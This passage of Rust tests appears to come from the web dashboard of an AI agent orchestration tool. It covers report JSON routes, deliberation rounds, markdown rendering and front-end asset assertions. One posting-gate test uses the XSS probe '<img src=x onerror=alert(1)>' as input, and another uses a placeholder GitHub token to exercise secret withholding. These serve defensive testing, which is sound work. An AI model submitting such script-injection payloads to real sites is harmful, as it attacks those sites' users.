21239        assert_eq!(
21240            repairs["lines"][3],
21241            "original reviewer #1: ApproveWithFindings"
21242        );
21243        assert_eq!(
21244            repairs["lines"][4],
21245            "Repair never approves a merge; updated results require a fresh owner decision."
21246        );
21247        let attempts = note("release_decision_attempts");
21248        assert_eq!(attempts["tone"], "neutral");
21249        assert_eq!(
21250            attempts["lines"],
21251            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21252        );
21253        let bump = sections
21254            .iter()
21255            .find(|section| section["kind"] == "release_bump")
21256            .unwrap();
21257        assert_eq!(bump["bump"]["automerge"], "local");
21258        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21259        assert_eq!(bump["tone"], "warn");
21260        let execution = note("release_execution");
21261        assert_eq!(execution["tone"], "warn");
21262        assert_eq!(
21263            execution["lines"][0],
21264            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21265        );
21266        assert_eq!(
21267            execution["lines"][1],
21268            "tag on remote: true; 1 command(s) completed"
21269        );
21270        assert_eq!(
21271            execution["lines"][2],
21272            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21273        );
21274
21275        // The original endpoint remains terminal text, including these same facts.
21276        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21277        assert_eq!(raw.status, 200);
21278        assert!(
21279            raw.headers
21280                .contains("content-type: text/plain; charset=utf-8")
21281        );
21282        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21283        assert!(raw.body.contains("Already covered."));
21284        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21285        assert!(raw.body.contains("judge-2 (usage limit)"));
21286        assert!(
21287            raw.body
21288                .contains("owner decision required\ninspect updated results")
21289        );
21290        assert!(raw.body.contains("2. second: patch\naccepted"));
21291        assert!(raw.body.contains(
21292            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21293        ));
21294
21295        // Historical records do not acquire invented startup or verification facts.
21296        let legacy_id = "20260902-140506-old";
21297        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21298        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21299        assert_eq!(legacy.status, 200, "{}", legacy.body);
21300        let legacy = legacy.json();
21301        assert!(legacy["header"]["startup"].is_null());
21302        assert!(legacy["header"]["startup_failure"].is_null());
21303        assert!(
21304            legacy["sections"]
21305                .as_array()
21306                .unwrap()
21307                .iter()
21308                .all(|section| section["kind"] != "notes")
21309        );
21310    }
21311
21312    #[tokio::test]
21313    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21314        crate::run::pin_test_home();
21315        let f = Fixture::start().await;
21316        let id = "20260902-140503-delib";
21317        write_run(&f.runs(), id, RunStatus::Merged);
21318        let path = f.runs().join(id).join("run.json");
21319        let mut v: serde_json::Value =
21320            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21321        v["judgements"] = serde_json::json!([
21322            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21323        ]);
21324        v["tally"] = serde_json::json!({
21325            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21326            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21327            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21328            "met_quorum": true, "rankings": 1
21329        });
21330        v["deliberation"] = serde_json::json!([
21331            {
21332                "round": 1,
21333                "turns": [
21334                    {
21335                        "judge": 1,
21336                        "agent": "judge-1",
21337                        "body": "I prefer candidate **A** because it has cleaner tests.",
21338                        "tentative": "A"
21339                    }
21340                ]
21341            },
21342            {
21343                "round": 2,
21344                "turns": [
21345                    {
21346                        "judge": 1,
21347                        "agent": "judge-1",
21348                        "body": "Still thinking, no choice yet.",
21349                        "tentative": null
21350                    }
21351                ]
21352            }
21353        ]);
21354        std::fs::write(&path, v.to_string()).unwrap();
21355
21356        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21357        assert_eq!(res.status, 200, "{}", res.body);
21358        let j = res.json();
21359        let judging = j["sections"]
21360            .as_array()
21361            .unwrap()
21362            .iter()
21363            .find(|s| s["kind"] == "judging")
21364            .expect("judging section exists");
21365
21366        // Existing summary lines remain intact
21367        let delib_lines = judging["deliberation"].as_array().unwrap();
21368        assert_eq!(delib_lines.len(), 2);
21369        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21370        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21371
21372        // rounds carry turn bodies, tentative and parsed body_md
21373        let rounds = judging["rounds"].as_array().unwrap();
21374        assert_eq!(rounds.len(), 2);
21375        let r1_t0 = &rounds[0]["turns"][0];
21376        assert_eq!(r1_t0["judge"], 1);
21377        assert_eq!(r1_t0["agent"], "judge-1");
21378        assert_eq!(r1_t0["tentative"], "A");
21379        assert_eq!(
21380            r1_t0["body"],
21381            "I prefer candidate **A** because it has cleaner tests."
21382        );
21383        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21384
21385        let r2_t0 = &rounds[1]["turns"][0];
21386        assert_eq!(r2_t0["judge"], 1);
21387        assert_eq!(r2_t0["agent"], "judge-1");
21388        assert!(r2_t0["tentative"].is_null());
21389        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21390        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21391
21392        // A run with empty deliberation array yields empty rounds
21393        let id_empty = "20260902-140504-nodelib";
21394        write_run(&f.runs(), id_empty, RunStatus::Merged);
21395        let path_empty = f.runs().join(id_empty).join("run.json");
21396        let mut v_empty: serde_json::Value =
21397            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21398        v_empty["judgements"] = serde_json::json!([
21399            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21400        ]);
21401        v_empty["deliberation"] = serde_json::json!([]);
21402        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21403
21404        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21405        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21406        let j_empty = res_empty.json();
21407        let judging_empty = j_empty["sections"]
21408            .as_array()
21409            .unwrap()
21410            .iter()
21411            .find(|s| s["kind"] == "judging")
21412            .expect("judging section exists");
21413        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21414    }
21415
21416    #[tokio::test]
21417    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21418        let f = Fixture::start().await;
21419
21420        let html = f.get("/").await;
21421        let css = f.get("/app.css").await;
21422        let js = f.get("/app.js").await;
21423
21424        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21425        assert!(
21426            html.headers
21427                .contains("content-type: text/html; charset=utf-8")
21428        );
21429        assert!(css.headers.contains("content-type: text/css"));
21430        assert!(js.headers.contains("content-type: text/javascript"));
21431        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21432    }
21433
21434    #[test]
21435    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21436        let body = |name: &str| {
21437            let at = APP_JS
21438                .find(name)
21439                .unwrap_or_else(|| panic!("{name} missing"));
21440            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21441        };
21442        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21443        let note = body("function landRoundNote");
21444        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21445        assert!(note.contains("Land round ${round}"));
21446        let land = body("function renderLand");
21447        let note_at = land
21448            .find("landRoundNote(pr)")
21449            .expect("renderLand uses the note");
21450        assert!(
21451            note_at
21452                < land
21453                    .find("roundRail(pr)")
21454                    .expect("renderLand uses the rail")
21455        );
21456    }
21457
21458    #[test]
21459    fn the_runs_page_redesign_keeps_its_guards() {
21460        let body = |name: &str| {
21461            let at = APP_JS
21462                .find(name)
21463                .unwrap_or_else(|| panic!("{name} missing"));
21464            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21465        };
21466        // A null child must never reach the native append (it prints "null").
21467        let land = body("function renderLand");
21468        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21469        assert!(
21470            !land.contains("box.append("),
21471            "renderLand must use append()"
21472        );
21473        assert!(land.contains("append(box, ["));
21474        // Tabs are hash routes; the run id alone decides a reload.
21475        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21476        assert!(
21477            body("function applyRoute")
21478                .contains("route.name !== state.route.name || route.id !== state.route.id")
21479        );
21480        // The decorative diagram is gone, the strip and its guards stay.
21481        assert!(!APP_JS.contains("adviseConvergeDiagram"));
21482        assert!(!INDEX_HTML.contains("advise-converge"));
21483        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21484        assert!(APP_JS.contains("provisional"));
21485        for id in [
21486            "run-tab-overview",
21487            "run-tab-timeline",
21488            "run-tab-report",
21489            "run-report",
21490            "runs-scope",
21491        ] {
21492            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21493        }
21494        assert!(!INDEX_HTML.contains("runs-tree"));
21495        assert!(!INDEX_HTML.contains("run-raw-panel"));
21496        // Fold still says it cannot be resumed.
21497        assert!(APP_JS.contains("resume"));
21498        // The unreadable-runs count stays on the page.
21499        assert!(APP_JS.contains("unreadable"));
21500    }
21501
21502    #[test]
21503    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21504        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21505        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21506        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
21507        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21508        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21509        // The subtitle still counts them whatever the banner does.
21510        assert!(APP_JS.contains("unreadable` : null"));
21511    }
21512
21513    #[test]
21514    fn blocked_run_detail_exposes_the_failed_gate_reason() {
21515        let mut state = RunState::new(
21516            "/repo".into(),
21517            "main".into(),
21518            "abc".into(),
21519            "task".into(),
21520            crate::config::Config::default(),
21521        );
21522        state.status = RunStatus::Blocked;
21523        state.gate_ran = true;
21524        state.gate.push(crate::run::CommandOutcome {
21525            command: "cargo make check".into(),
21526            code: Some(1),
21527            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21528            duration_ms: 0,
21529            resource_blocked: false,
21530        });
21531        let view = RunDetailView::of(
21532            state,
21533            false,
21534            crate::run::Liveness::Unknown,
21535            None,
21536            None,
21537            None,
21538        );
21539        let value = serde_json::to_value(view).unwrap();
21540        assert_eq!(
21541            value["stop_reason"],
21542            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21543        );
21544    }
21545
21546    #[test]
21547    fn the_run_detail_payload_says_whether_the_run_is_done() {
21548        // `landView` reads `run.done`; the detail response must carry it.
21549        for (status, done) in [
21550            (RunStatus::Superseded, true),
21551            (RunStatus::Blocked, true),
21552            (RunStatus::Landing, false),
21553        ] {
21554            let mut state = RunState::new(
21555                std::path::PathBuf::from("/repo"),
21556                "main".to_owned(),
21557                "abc".to_owned(),
21558                "x".to_owned(),
21559                crate::config::Config::default(),
21560            );
21561            state.status = status;
21562            let v = serde_json::to_value(RunDetailView::of(
21563                state,
21564                false,
21565                crate::run::Liveness::Unknown,
21566                None,
21567                None,
21568                None,
21569            ))
21570            .unwrap();
21571            assert_eq!(v["done"], done, "{status:?}");
21572        }
21573    }
21574
21575    /// The first node of a markdown block holds a `strong` somewhere.
21576    fn has_strong(nodes: &[md::Node]) -> bool {
21577        serde_json::to_string(nodes).unwrap().contains("strong")
21578    }
21579
21580    #[test]
21581    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21582        let mut state = RunState::new(
21583            std::path::PathBuf::from("/repo"),
21584            "main".to_owned(),
21585            "abc".to_owned(),
21586            "x".to_owned(),
21587            crate::config::Config::default(),
21588        );
21589        let proposal = |approach: &str| {
21590            serde_json::json!({
21591                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21592            })
21593        };
21594        state.advice = Some(
21595            serde_json::from_value(serde_json::json!({
21596                "records": [
21597                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21598                     "proposal": proposal("do **this**")},
21599                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21600                ],
21601                "synthesis": "- one\n- **two**\n\n`code`",
21602            }))
21603            .unwrap(),
21604        );
21605        state.candidates = serde_json::from_value(serde_json::json!([
21606            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21607             "summary": "did **it**"},
21608            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21609        ]))
21610        .unwrap();
21611        // Recorded in ascending severity, the reverse of how the page sorts
21612        // them: the arrays must follow the record, not the display.
21613        state.reviews = serde_json::from_value(serde_json::json!([{
21614            "round": 1, "head": "h",
21615            "reviews": [{
21616                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21617                "findings": [
21618                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21619                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21620                ],
21621            }],
21622            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21623            "fix": {"agent": "a", "notes": "fixed **it**",
21624                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21625        }, {"round": 2, "head": "h2", "reviews": []}]))
21626        .unwrap();
21627
21628        let v = serde_json::to_value(RunDetailView::of(
21629            state,
21630            false,
21631            crate::run::Liveness::Unknown,
21632            None,
21633            None,
21634            None,
21635        ))
21636        .unwrap();
21637
21638        let strong = |p: &str| {
21639            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21640            assert!(n.to_string().contains("strong"), "{p}: {n}");
21641        };
21642        strong("/advice_md/synthesis");
21643        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21644        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21645        strong("/advice_md/approaches/0");
21646        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21647        strong("/candidate_summaries_md/0");
21648        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21649        strong("/reviews_md/0/reviewers/0/summary");
21650        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21651        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21652        assert!(f[1].to_string().contains("strong"));
21653        strong("/reviews_md/0/reconsideration/0");
21654        strong("/reviews_md/0/fix/notes");
21655        strong("/reviews_md/0/fix/rejected/0");
21656        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21657        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21658        // The raw strings stay, and no schema moved.
21659        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21660        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21661    }
21662
21663    #[test]
21664    fn a_run_without_advice_has_no_advice_md() {
21665        let state = RunState::new(
21666            std::path::PathBuf::from("/repo"),
21667            "main".to_owned(),
21668            "abc".to_owned(),
21669            "x".to_owned(),
21670            crate::config::Config::default(),
21671        );
21672        let p = run_prose_md(&state);
21673        assert!(p.advice_md.is_none());
21674        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21675    }
21676
21677    #[test]
21678    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21679        let store = ask::Questions::at(PathBuf::from("unused"));
21680        let gt = crate::github_text::Withheld {
21681            title: false,
21682            body: true,
21683            categories: vec!["sensitive-data".into()],
21684        };
21685        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21686        let (detail, comparison) =
21687            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21688        let mut q = Question::new(
21689            "r".into(),
21690            "github-text".into(),
21691            "posting-gate".into(),
21692            "s".into(),
21693            detail,
21694            Vec::new(),
21695        );
21696        assert!(
21697            QuestionView::of(q.clone(), &store, None)
21698                .posting_view
21699                .is_none()
21700        );
21701        q.posting_comparison = Some(comparison);
21702        let view = QuestionView::of(q.clone(), &store, None);
21703        let field = &view.posting_view.unwrap().fields[0];
21704        assert_eq!(
21705            field
21706                .original
21707                .iter()
21708                .map(|f| f.text.as_str())
21709                .collect::<String>(),
21710            body
21711        );
21712        assert!(field.original[0].text.starts_with("<img"));
21713        let original_question: Question =
21714            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21715        assert_eq!(original_question, q);
21716        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21717            .original
21718            .start = 1;
21719        assert!(
21720            QuestionView::of(q.clone(), &store, None)
21721                .posting_view
21722                .is_none()
21723        );
21724        q.posting_comparison = original_question.posting_comparison;
21725        q.detail.push_str("extra context");
21726        assert!(
21727            QuestionView::of(q.clone(), &store, None)
21728                .posting_view
21729                .is_some()
21730        );
21731        q.detail.insert(0, 'x');
21732        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21733    }
21734
21735    #[test]
21736    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21737        let store = ask::Questions::at(PathBuf::from("unused"));
21738        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21739        let gt = crate::github_text::Withheld::from_check(
21740            &crate::github_text::check("fix: x", body),
21741            "fix: x",
21742            body,
21743        )
21744        .unwrap();
21745        let (detail, comparison) =
21746            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21747        let mut q = Question::new(
21748            "r".into(),
21749            "github-text".into(),
21750            "posting-gate".into(),
21751            "s".into(),
21752            detail,
21753            Vec::new(),
21754        );
21755        q.posting_comparison = Some(comparison);
21756        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21757        let field = &value["posting_view"]["fields"][0];
21758        let group = &field["replacement_group"];
21759        let triggers = group["triggers"].as_array().unwrap();
21760        assert_eq!(triggers.len(), 2);
21761        assert_ne!(triggers[0], triggers[1]);
21762        for id in triggers {
21763            assert!(
21764                field["original"]
21765                    .as_array()
21766                    .unwrap()
21767                    .iter()
21768                    .any(|f| &f["pair"] == id)
21769            );
21770            assert!(
21771                !field["changed"]
21772                    .as_array()
21773                    .unwrap()
21774                    .iter()
21775                    .any(|f| &f["pair"] == id)
21776            );
21777        }
21778        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21779            group["id"].as_u64().unwrap() as usize;
21780        assert!(
21781            QuestionView::of(q, &store, None).posting_view.is_none(),
21782            "group and trigger IDs cannot collide"
21783        );
21784    }
21785
21786    #[test]
21787    fn a_question_view_carries_markdown_for_each_thread_turn() {
21788        let home = TempDir::new().unwrap();
21789        let store = ask::Questions::at(home.path().join("questions"));
21790        let mut q = Question::new(
21791            "run".to_owned(),
21792            "implement".to_owned(),
21793            "impl-A".to_owned(),
21794            "which?".to_owned(),
21795            String::new(),
21796            Vec::new(),
21797        );
21798        q.say("plain words").unwrap();
21799        q.reply("use **this**", Vec::new()).unwrap();
21800        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21801        let bodies = &v["thread_bodies_md"];
21802        assert_eq!(bodies.as_array().unwrap().len(), 2);
21803        assert!(!bodies[0].to_string().contains("strong"));
21804        assert!(bodies[1].to_string().contains("strong"));
21805    }
21806
21807    #[test]
21808    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21809        let home = TempDir::new().unwrap();
21810        let store = ask::Questions::at(home.path().join("questions"));
21811        let mut q = Question::new(
21812            "run".to_owned(),
21813            "conduct".to_owned(),
21814            "conduct".to_owned(),
21815            "which?".to_owned(),
21816            String::new(),
21817            Vec::new(),
21818        );
21819        q.say("plain words").unwrap();
21820        q.thread.push(ask::Turn {
21821            who: ask::Who::Agent,
21822            body: "Settled as `merge`".to_owned(),
21823            at: jiff::Timestamp::now(),
21824            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21825        });
21826        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21827        let notes = &v["thread_notes_md"];
21828        assert_eq!(notes.as_array().unwrap().len(), 2);
21829        assert!(notes[0].is_null());
21830        let text = notes[1].to_string();
21831        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21832        assert!(APP_JS.contains("ask-turn-note"));
21833    }
21834
21835    #[test]
21836    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21837        // The land panel defers to `run.status` for merged, and labels a
21838        // recorded-open PR on any finished run (superseded, blocked, ...) as
21839        // last seen, never as live state.
21840        assert!(APP_JS.contains("function landView(run, raw) {"));
21841        assert!(
21842            APP_JS.contains(
21843                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21844            )
21845        );
21846        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21847        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21848        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21849        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21850    }
21851
21852    #[test]
21853    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21854        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21855        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21856        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21857        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21858    }
21859
21860    #[test]
21861    fn review_rounds_label_a_distinct_verified_head() {
21862        assert!(APP_JS.contains("round.verified_head"));
21863        assert!(APP_JS.contains("verified HEAD"));
21864        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21865    }
21866
21867    #[test]
21868    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21869        // A blocked task's chip and note must not fall back to a queued-like
21870        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21871        // itself by e11fc58 but never checked here.
21872        assert!(APP_JS.contains("blocked: { glyph:"));
21873        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21874
21875        // `blocked_by` mixes task ids and question ids in the same list, and
21876        // the client can only tell them apart by checking each id against
21877        // what it actually knows - never by guessing from the id's shape.
21878        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21879        assert!(
21880            APP_JS.contains(
21881                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21882            ),
21883            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21884        );
21885        // The classification must key off `status_str`, never off `blocked_by`
21886        // or `block_reason` merely being present - both can survive briefly
21887        // on a task a hold or a dead daemon just moved off `blocked`.
21888        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21889
21890        // A question a task is blocked on gets its own node in the same
21891        // dependency graph, not just a task-shaped node with nothing known
21892        // about it. The web_render browser test checks the actual destination.
21893        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21894        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21895
21896        // `Task::answers` - decisions already made - are shown as a record on
21897        // the card, the same disclosure style as the full instruction.
21898        assert!(APP_JS.contains("Resolved questions"));
21899        assert!(APP_JS.contains("r.answersList.append("));
21900        assert!(APP_CSS.contains(".task-answers"));
21901        {
21902            let start = APP_JS
21903                .find("function updateTalkTaskRow")
21904                .expect("updateTalkTaskRow");
21905            let body = &APP_JS[start..];
21906            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21907            assert!(
21908                body.contains(
21909                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21910                ),
21911                "a chat-filed task row must link to the task page"
21912            );
21913            assert!(
21914                !body.contains("#/runs/") && !body.contains("#/queue/"),
21915                "the row must not branch to a run or the queue card"
21916            );
21917            assert!(APP_CSS.contains(".talk-task-link"));
21918        }
21919    }
21920
21921    #[test]
21922    fn a_task_notification_links_to_the_task_page() {
21923        // A task notice opens the task detail page, not the Backlog card.
21924        let start = APP_JS
21925            .find("function noticeLink(")
21926            .expect("noticeLink exists");
21927        let body = &APP_JS[start..];
21928        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21929        assert!(
21930            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21931            "a task notice's link must target the task page"
21932        );
21933        assert!(
21934            !body.contains("#/queue/"),
21935            "regression: the task link must not go back to the Backlog route"
21936        );
21937        assert!(
21938            APP_JS.contains(
21939                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21940            ),
21941            "`#/tasks/<id>` must parse into the task route"
21942        );
21943
21944        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21945        assert!(
21946            APP_JS.contains(
21947                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21948            ),
21949            "`#/queue/<id>` must parse into a route carrying that id"
21950        );
21951
21952        // And the Backlog view has to actually land on the card once it can
21953        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21954        // so a focus set before the queue has loaded is retried once it has.
21955        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21956        assert!(APP_JS.contains("function consumeQueueFocus()"));
21957        assert!(APP_JS.contains("jumpToTask(id)"));
21958    }
21959
21960    #[test]
21961    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21962        let start = APP_JS
21963            .find("function noticeCoveredBy(")
21964            .expect("noticeCoveredBy exists");
21965        let body = &APP_JS[start..];
21966        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21967
21968        // Historical associations are informational, even for open questions.
21969        assert!(body.contains("Associated question ${short}"));
21970        assert!(!body.contains("el(\"a\""));
21971
21972        // A resolved question displays status rather than an actionable link
21973        assert!(body.contains("(resolved)"));
21974        assert!(body.contains("(closed)"));
21975
21976        let start = APP_JS
21977            .find("function renderNotifications()")
21978            .expect("renderNotifications exists");
21979        let body = &APP_JS[start..];
21980        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21981
21982        // Only a server-resolved answerable question supplies a response link.
21983        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21984        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21985        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21986        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21987    }
21988
21989    /// Chat rows are two lines at every width: the title alone, then the
21990    /// shrinkable secondary info.
21991    #[test]
21992    fn chat_rows_put_the_title_alone_on_the_first_line() {
21993        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21994        assert!(APP_CSS.contains(
21995            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21996        ));
21997        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21998        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21999    }
22000
22001    #[test]
22002    fn run_rows_put_the_title_alone_on_the_first_line() {
22003        assert!(
22004            APP_CSS.contains(
22005                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22006            )
22007        );
22008        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22009        assert!(APP_JS.contains("class: \"card run-card\""));
22010        assert!(APP_JS.contains("class: \"repo run-id\""));
22011    }
22012
22013    /// Wide screens get a master/detail layout built from the views a phone
22014    /// drills into. These are string assertions: they pin the contract between
22015    /// the three assets, not how it looks.
22016    #[test]
22017    fn wide_screens_show_list_and_preview_side_by_side() {
22018        // One breakpoint, spelled the same in the script and the stylesheet.
22019        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22020        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22021        assert!(APP_CSS.contains("main[data-split]"));
22022        assert!(APP_CSS.contains("body[data-split]"));
22023
22024        // The route -> panes table, and a narrow screen opting out of it.
22025        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22026        assert!(
22027            APP_JS.contains(
22028                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22029            )
22030        );
22031        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22032        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22033        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22034
22035        // Selection is derived from the route, and only ever paints a row.
22036        assert!(APP_JS.contains("function markSelected() {"));
22037        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22038        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22039        // The dense row must override the stacked card the 720px block sets up.
22040        assert!(
22041            APP_CSS.contains(
22042                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22043            )
22044        );
22045
22046        // Independent scrolling: the page stops scrolling, each pane does.
22047        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22048        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22049        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22050        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22051
22052        // A refresh must never navigate: the loaders still check that their
22053        // subject is the one on screen, and crossing the breakpoint only
22054        // re-reads the hash.
22055        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22056        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22057        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
